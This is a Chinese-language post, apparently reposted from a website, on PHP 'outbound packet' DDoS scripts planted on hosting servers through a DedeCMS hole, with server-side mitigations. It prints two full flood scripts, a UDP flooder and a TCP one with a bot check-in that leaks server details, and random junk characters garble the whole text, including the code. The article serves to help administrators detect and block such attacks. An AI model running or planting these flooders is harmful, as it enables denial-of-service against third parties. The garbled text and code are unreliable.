服务器php对外发包引起崩溃的解决办法paopao最近老听人说,php对外发包,引起服务器崩溃或被机房查封,今天闲着无事和大家一起分享paopao我总结的DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助大家解决服务器问题,让网站运行的更好0 j. p2 J1 W) q. s8 M; M, T3 q/ T
一。php对外发包分析
( N. h4 T+ q% X0 P 用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:' X& g* n2 f( K
以下是代码片段:
) b* Y6 o$ A" V9 i/ E $packets = 0;2 B0 G5 T5 ^* u5 O( @' A0 b
$ip = $_GET[\'ip\'];
0 g/ {: Z) u0 t" Z6 x3 ? $rand = $_GET[\'port\'];
2 i1 n; H- N' \ set_time_limit(0);6 j! Z% i0 B+ M% m) [, T" @' k
ignore_user_abort(FALSE);# F G. H+ p6 [* I4 ?
$exec_time = $_GET[\'time\'];sbxl-20120612# H1 T* R" {2 f% q# Q3 O! C) V! B: w
$time = time();" d1 v t0 R. p# n
print \'Flooded: $ip on port $rand
& z- p K9 \2 P' H) z9 W+ W/ ^ \';8 w X4 H- W$ ~ y6 j; ^
$max_time = $time+$exec_time;. e. W. x$ Q3 N6 K3 R$ z
for($i=0;$i<65535;$i++){) Y) J9 j, T: \( i! y2 w* b& o2 c7 G
$out .= \'X\'; a' g( I, q- C8 A- G+ _
}! h" w# o2 W; n6 e
while(1){- W1 y) `/ i+ z3 ^
$packets++;; ?: C, m# W- ~6 S
if(time() > $max_time){
) u( G( Y% D) k break;( O/ |! l! w- A/ r1 s
}* r" ~- S- U1 _& }2 Y5 B1 M( y7 i
$fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);
! R* i: A5 U+ l8 e/ `* M if($fp){) I# r, D1 A% F7 R& }/ x& E6 t
fwrite($fp, $out);
0 ^& G7 d4 _% z# o fclose($fp);+ Z+ R: R1 R Q1 |6 W' d# i s
}% i5 x+ {% w: d2 \9 ^4 I/ o
}
& ?* `) y/ ?5 o; h echo \'Packet complete at \'.time(\'h:i:s\').\' with
$ n! m. M' t: m/ v) g6 ~+ x8 M3 d( w $packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.
+ x* [* [# y; E0 d( L9 J round($packets/$exec_time, 2) . \' packets/s ;/ r: N6 T4 W; {
?>: P$ f. ]$ Y B0 ~ M. R
二。表现特征
( J( T& [3 g7 _0 j 一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.
, Y) W; K. S( o7 a 近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.0 \8 }2 d( p+ X$ k, Z
如何快速找到这些站?
. G# g$ ?) n4 d" Q$ ]& m+ o, S 你可以打开日志
4 r+ s8 |: n1 ?6 q# @+ A0 m5 | C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,' |1 T" c; Y% Y' o, h5 K8 A
里面有类似这样的记录:
; }' D$ j9 s+ ^* ^" @; t A, P 2012-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1
' @ H5 R: v p; a8 W2 ^; e 最后三项783 Disabled 30_FreeHost_1" @# _" g2 x1 d
783就是这个站在IIS中的ID
' l. s* y1 R* C8 z: k8 y! H) T 30_FreeHost_1就是所在池# e* Y. ?/ d( Q# i/ k. s4 K
三?解决办法- F* k% C) d6 D( R; ?
1.按上述找到这个网站后停止它.或停止池,并重启IIS.) \; T. b6 F5 M4 l
2.在IP策略,或防火墙中,禁止所有udp向外发送
" `: d+ E/ M( B+ _ 在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包?下载这个包,之后导入安全策略?但这个策略并没有关闭DNS端口,部分攻击还是有效.1 N# e& s4 M# M5 j1 B) L3 U
为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了)6 ]. d. e" T+ p/ B v. c2 O* b
在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec'文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常) D% v3 O& N) M& X2 |* _: Y
3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)1 X' J8 r0 X, E# |: x
4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS u1 R- R$ P! \2 e6 }
ignore_user_abort = On
) j. c2 a: a8 V0 q& Y (注意前面的;号要删除)
/ y* n: N9 h: s* ?, Q; e disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
& H1 s" i5 K! J 在后面加上7 o6 Y# I$ {' m. @: I( x& i
fsockopen,set_time_limit- s. O, J' [. E0 l% c& N/ I7 g8 B
但这样会造成很多php程序都不正常.: r* a) a3 S D) M' O4 r; Z7 b
另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?) ~2 i0 e3 L& G$ j( e' t
近期已有新的基于TCP攻击的PHPDDOS代码如下:4 O; D4 x6 {4 p1 {# Y8 r
以下是代码片段:* A/ T" x6 n. @/ ^& u
set_time_limit(999999);# s# n1 N* R0 t- p
$host = $_GET['host'];( a( x' o$ e* B9 K
$port = $_GET['port'];+ a* Q2 p6 M& b( W; W0 ]! v" \$ z# J
$exec_time = $_GET['time'];
1 f0 ?0 I M& P/ @ $packets = 64;0 o+ k% [" q, Q, [2 m
ignore_user_abort(True);
3 }/ T- \! X K& Y if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
* ?% `# A8 O2 j/ a- T3 B if (StrLen($_GET['rat'])<>0){
- F- }9 K* a( J6 o echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.1 |3 g$ G/ X) n9 p$ ]5 O4 M
php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];" k5 }/ g) w' _ a) ]1 [
exit;. V) q" P/ D! f3 P. t- Y+ P7 u
}
% l! `1 n8 m2 F n9 ] exit;& i. `$ m- K+ k( ]" Y* L7 z. l9 w9 y% K
}
$ i3 T }5 R( B4 J* \ $max_time = time()+$exec_time;
9 O: s+ B. q/ h) _/ |6 \ while(1){7 E2 E7 M' X6 U: A; }) c
$packets++;
) ^. r/ H( ?+ W& j if(time() > $max_time or $exec_time != 69){) z- Y5 J( J1 M9 J0 ~
break;9 e0 J: P8 k4 C$ x7 i
}3 S& x) m0 m! f/ Y
$fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);
9 W7 I \; ^ d& S0 n7 f }' ]( y% y+ a: s+ |. Q
?>- M7 ~8 @) l. a! f
同样,可以采有以下解决办法:: Z" I8 L9 M* v i, p9 g- U* J4 A
1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS
: z6 {$ I' Y/ G# [( A0 ^ ignore_user_abort = On
0 l# d4 u5 s6 N0 A2 N (注意前面的;号要删除)
+ k* X! B% h u2 E' A+ e6 U disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,! e2 S% G# I9 @+ O- |# g% l* D' C) P
在后面加上" o- |1 D" F! a! y. ~
fsockopen,set_time_limit5 f! O4 Q8 \) d4 {
但这样会造成很多php程序都不正常. 如果您是IDC,给客户提供空间的,禁用函数可能导致客户程序无法运行,所以一般不要用此办法
6 G7 |8 A$ L2 C( ?5 S 2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上?
1 P2 A1 V4 w: o$ i 3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它?
: U, E1 Q+ J' w3 I 文章出自医院网站优化 http://www.ahyyqing.com,转载请注明出处。/ z8 C- Z/ |) }; {
|